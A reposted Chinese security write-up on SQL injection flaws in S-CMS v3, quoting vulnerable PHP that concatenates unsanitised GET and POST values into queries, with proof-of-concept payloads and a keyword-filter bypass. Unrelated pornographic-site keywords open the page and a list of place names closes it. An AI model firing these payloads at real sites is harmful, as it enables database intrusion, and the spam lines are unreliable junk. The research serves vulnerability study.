最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

詳解S-CMS企業(yè)建站v3幾處SQL注入

 更新時間:2019年02月26日 16:16:51   作者:AShe  
這篇文章主要介紹了詳解S-CMS企業(yè)建站v3幾處SQL注入,小編覺得挺不錯的,現(xiàn)在分享給大家,也給大家做個參考。一起跟隨小編過來看看吧

0x01 前言

有段時間沒有發(fā)文章了,主要沒挖到比較有意思的漏洞點(diǎn)。然后看最近爆了很多關(guān)于S-CMS的漏洞,下載了源碼簡單挖了一下然后給大家分享一下。

0x02 目錄

Wap_index.php sql注入Form.php Sql注入Input、query

0x03 插曲

這里分享一下在審計的時候自用的一段代碼。

 $debug=function(){
      $logFile='C:\\Users\\DELL\\Desktop\\debug.txt';   //輸出的文件
      $param=func_get_args();           //獲取傳入函數(shù)的參數(shù)
      if (count($param)>0){              
        $str=serialize($param);           //序列號
        if($str){                  //存在就寫入
          $str=file_get_contents($logFile)."\r\n\r\n".__FILE__.":\t\t".$str;
          file_put_contents($logFile,"\t\t".$str);
        }else{                 //不存在寫入Null
          $str=file_get_contents($logFile)."\r\n\r\n".__FILE__.":\r\n".$str;
          file_put_contents($logFile,"\t\tNull");
        }
      }
    };$debug($x,$a,$b);   //這里$x,$a,$b都是要查看的變量。

主要用這個的話個人感覺比較方便,平常測試都是var_dump();die;來查看。然后當(dāng)die后,頁面還是沒有打印內(nèi)容,用這個函數(shù)還是相對比較方便的。當(dāng)然用phpstorm下斷點(diǎn)挺好的,不過個人不太喜歡。主要還是我懶。

0x04 Wap_index.php sql注入

漏洞文件:\scms\wap_index.php這個文件的話不止這一處Sql注入,這里只寫這一個。漏洞行號:90-96

case "text":
  $debug("select * from SL_text where T_id=" . $S_id, "T_title");
  if (getrs("select * from SL_text where T_id=" . $S_id, "T_title") == "") {
    box("菜單指向的簡介已被刪除,請到“菜單管理”重新編輯", "back", "error");
  } else {
    $page_info = ReplaceLableFlag(ReplaceWapTag(CreateHTMLReplace(CreateText(ReplaceWapPart(LoadWapTemplate($style, $S_id)) , $S_id))));
  }
  break;

S_id直接從GET獲取無單引號拼接進(jìn)了sql語句

if(isset($_GET["S_id"])){
  $S_id = $_GET["S_id"];
}else{
  $S_id = "0";
}

這套CMS核心全帶全都加密處理了所以我們看不到他的過濾方法,不過當(dāng)出現(xiàn) union select 等的時候都直接退出了,沒有繼續(xù)往下執(zhí)行。研究發(fā)現(xiàn)當(dāng)傳入select(user())能正常執(zhí)行,不過嘗試union(select(1)) 的時候也沒有執(zhí)行,應(yīng)該是直接正則匹配的union這個單詞,而select匹配了前后的空格。

漏洞演示:

$debug保存下來的信息。

D:\phpStudy\PHPTutorial\WWW\scms\wap_index.php: a:2:{i:0;s:58:"select * from SL_text where T_id=1 and (select(user())!=1)";i:1;s:7:"T_title";}

Mysql.log

正常執(zhí)行了sql語句。S_id=1 and (select(user()) from sl_reply 同樣可以正常執(zhí)行,可通過盲注爆數(shù)據(jù)。

0x05 Form.php Sql注入

漏洞文件:\scms\form.php

漏洞Action:input

if($action=="input"){
  if ($_POST["code"]!=$_SESSION["CmsCode"]){
    echo "<div style='height:500px'></div>";
    box(lang("驗證碼錯誤!/l/Verification code error"),"back","error");
  }else{
    $R_time=date('Y-m-d H:i:s');
    $R_rid=gen_key(15);
    foreach ($_POST as $x=>$value) {
    if ($x>0){
      if ($_POST[$x]==""){
        box(lang("請?zhí)钊珒?nèi)容后提交!/l/Please fill in the full content to submit!"),"back","error");
        die();
      }else{
        if (!IsValidStr($_POST[$x])){
        box(lang("您輸入的內(nèi)容有敏感字符,請重新輸入!/l/The contents you have entered are sensitive characters, please re-enter!"),"back","error");
        }else{
$debug("Insert into SL_response(R_cid,R_content,R_time,R_rid,R_member) values(".$x.",'".htmlspecialchars($_POST[$x])."','".$R_time."','".$R_rid."',".$M_id.")");
        mysqli_query($conn,"Insert into SL_response(R_cid,R_content,R_time,R_rid,R_member) values(".$x.",'".htmlspecialchars($_POST[$x])."','".$R_time."','".$R_rid."',".$M_id.")");
        }
      }
    }
    }
    if ($F_cq>0){
    mysqli_query($conn,"Insert into SL_query(Q_code,Q_content,Q_sort) values('".$R_rid."','".date('Y-m-d H:i:s')."__用戶提交表單,等待處理"."',".$F_cq.")");
    box(lang("提交成功,查詢碼 ".$R_rid."/l/success!code ".$R_rid.""),$C_dir.$url_to,"success");
  }else{
  box(lang("提交成功!/l/success!code ".$R_rid.""),$C_dir.$url_to,"success");
  }
    sendmail("您的網(wǎng)站有新的表單提交","<h2>您的網(wǎng)站“".lang($C_webtitle)."”有新的表單提交</h2><hr>請進(jìn)入“網(wǎng)站后臺” - “表單系統(tǒng)” - “查看統(tǒng)計”查看詳情!",$C_email);

  }
}

這里簡單看些邏輯,先判斷code驗證碼是否錯誤,如果為False不錯誤,進(jìn)入foreach循環(huán),判斷$x(也就是 $_POST的key)>0這里就可以通過php弱類型比如1a>0 為True 這個不多介紹了,然后如果$_POST[$x] 不為空,繼續(xù)檢測$_POST[$x] 是否存在敏感字符,然后拼接sql語句。

整個流程就這樣了,漏洞觸發(fā)點(diǎn)就是$x,它檢測敏感字符只檢測了$_POST[$x]內(nèi)容,而沒檢測$x,而且直接拼接入了sql語句導(dǎo)致SQL注入。

漏洞演示:

http://127.0.0.1/scms/form.php?action=input&S_id=0code=ywu7&1//and//(1//like//1)=121

$debug記錄

D:\phpStudy\PHPTutorial\WWW\scms\form.php: a:1:{i:0;s:147:"Insert into SL_response(R_cid,R_content,R_time,R_rid,R_member) values(1//and//(1//like//1),'121','2018-12-05 15:27:00','WjWEpX8YIK6cfeq',6)";}

漏洞文件:\scms\form.php

漏洞Action:query

if ($action=="query"){
$Q_sort=$_POST["Q_sort"];
$Q_code=$_POST["Q_code"];
  if ($_POST["code"]!=$_SESSION["CmsCode"]){
    echo "<div style='height:500px'></div>";
    box(lang("驗證碼錯誤!/l/Verification code error"),"back","error");
  }else{

    $sql="select * from SL_query where Q_sort=".$Q_sort." and Q_code like '".$Q_code."'";
    $result = mysqli_query($conn, $sql);
    $row = mysqli_fetch_assoc($result);

這個相對簡單不多說,$Q_sort從post獲取,無過濾直接拼接進(jìn)sql語句導(dǎo)致sql注入。

Payload:http://127.0.0.1/scms/form.php?action=query&S_id=0code=t5o9&Q_sort=1 and 1=1

0x06 結(jié)束語

以上就是本文的全部內(nèi)容,希望對大家的學(xué)習(xí)有所幫助,也希望大家多多支持腳本之家。

相關(guān)文章

  • 解決dotproject的兩個小bug的方法

    解決dotproject的兩個小bug的方法

    繼續(xù)深入使用dotproject,發(fā)現(xiàn)兩個小bug,國內(nèi)的論壇這些問題是找不到了,只有到dotproject官方論壇去找找,問題終獲解決。
    2008-11-11
  • zblogphp、Z-Blog PHP數(shù)據(jù)庫結(jié)構(gòu)及表中的字段詳細(xì)說明

    zblogphp、Z-Blog PHP數(shù)據(jù)庫結(jié)構(gòu)及表中的字段詳細(xì)說明

    如果你是一位開發(fā)者,你一定知道Zblog-PHP。它是一款非常流行的開源博客系統(tǒng),許多人使用它來創(chuàng)建自己的博客。在使用Zblog-PHP的過程中,你可能會遇到一些數(shù)據(jù)庫字段,這些字段可能會導(dǎo)致一些困惑。因此,在本文中,我們將詳細(xì)解釋Zblog-PHP數(shù)據(jù)庫字段的含義和作用。
    2023-03-03
  • wordpress?12個數(shù)據(jù)表結(jié)構(gòu)和字段說明

    wordpress?12個數(shù)據(jù)表結(jié)構(gòu)和字段說明

    WordPress安裝的時候數(shù)據(jù)庫會有12個默認(rèn)的數(shù)據(jù)表,每張表的數(shù)據(jù)都包含了?WordPress?不同的功能??纯催@些表的結(jié)構(gòu),你能很容易的了解網(wǎng)站不同的部分都是存在哪里的。這篇文章主要介紹了wordpress?12個數(shù)據(jù)表結(jié)構(gòu)和字段說明,需要的朋友可以參考下
    2023-04-04
  • Fastadmin中JS的調(diào)用方法原理講解

    Fastadmin中JS的調(diào)用方法原理講解

    FastAdmin的前端部分使用或涉及到主要是RequireJS,jQuery,AdminLTE,Bower,Less,CSS。其中RequireJS主要是用于JS的模塊化加載。
    2022-12-12
  • 帝國cms所有的數(shù)據(jù)庫表結(jié)構(gòu)和字段說明

    帝國cms所有的數(shù)據(jù)庫表結(jié)構(gòu)和字段說明

    帝國CMS也是比較有名氣的,基本上沒有出現(xiàn)安全問題。但是帝國CMS后臺的邏輯和布局,感覺太復(fù)雜。如果我們需要會員或者下載等交互功能,這一點(diǎn)的擴(kuò)展上帝國是有優(yōu)勢的。這篇文章主要介紹了帝國cms所有的數(shù)據(jù)庫表結(jié)構(gòu)和字段說明,需要的朋友可以參考下。
    2023-04-04
  • 詳解S-CMS企業(yè)建站v3幾處SQL注入

    詳解S-CMS企業(yè)建站v3幾處SQL注入

    這篇文章主要介紹了詳解S-CMS企業(yè)建站v3幾處SQL注入,小編覺得挺不錯的,現(xiàn)在分享給大家,也給大家做個參考。一起跟隨小編過來看看吧
    2019-02-02
  • phpcms數(shù)據(jù)表結(jié)構(gòu)和字段詳細(xì)說明

    phpcms數(shù)據(jù)表結(jié)構(gòu)和字段詳細(xì)說明

    PHPCMS?V9可以輕松承載百萬級的訪問數(shù)據(jù),最大的功臣就是PHPCMS良好的數(shù)據(jù)庫結(jié)構(gòu)。學(xué)習(xí)一下PHPCMS的數(shù)據(jù)庫結(jié)構(gòu)。數(shù)據(jù)表的默認(rèn)表前綴是V9_?,表前綴的主要作用是數(shù)據(jù)庫中有不同系統(tǒng)的數(shù)據(jù)表存在時,可以用表前綴來區(qū)分出來。
    2023-04-04
  • fastAdmin表單驗證validate的錯誤提示信息,如何改變位置?

    fastAdmin表單驗證validate的錯誤提示信息,如何改變位置?

    fastAdmin表單驗證validate的錯誤提示,默認(rèn)是在右側(cè)的n-right,如果放在右側(cè)不太好看,想調(diào)整到其他位置,該怎么操作呢?
    2023-08-08
  • 如何安全修改隱藏Zblogphp默認(rèn)后臺登錄地址

    如何安全修改隱藏Zblogphp默認(rèn)后臺登錄地址

    目前ZBlogPHP站點(diǎn)后臺的登錄地址默認(rèn)都是/zb_system/login.php或/zb_system/cmd.php?act=admin,從源代碼里很容易看出使用了ZBlogPHP系統(tǒng),容易被別有用心的人暴力破解。對于這種情況,最好的辦法就是修改/隱藏我們的后臺登錄地址。
    2023-04-04
  • PHPWIND 5.3 運(yùn)行代碼 功能實現(xiàn)代碼

    PHPWIND 5.3 運(yùn)行代碼 功能實現(xiàn)代碼

    天架設(shè)了一個PHPWIND的論壇,想著要弄個運(yùn)行代碼的功能出來,不過我只懂點(diǎn)ASP,又沒接觸過PHP,想著看看有沒前人樹,咱乘下涼就是了。查了下,發(fā)現(xiàn)只有老版本的插件可以實現(xiàn)這個功能。
    2009-06-06

最新評論

莎车县| 柯坪县| 上高县| 西城区| 枝江市| 昌邑市| 江门市| 深水埗区| 葵青区| 公主岭市| 连城县| 连城县| 延长县| 新化县| 饶河县| 容城县| 西峡县| 漠河县| 泉州市| 渝中区| 北安市| 海门市| 龙州县| 陆川县| 昭通市| 宣武区| 鄂伦春自治旗| 平遥县| 丽江市| 浦县| 青海省| 宿迁市| 五常市| 中西区| 海丰县| 云南省| 迁安市| 会东县| 富锦市| 申扎县| 大余县|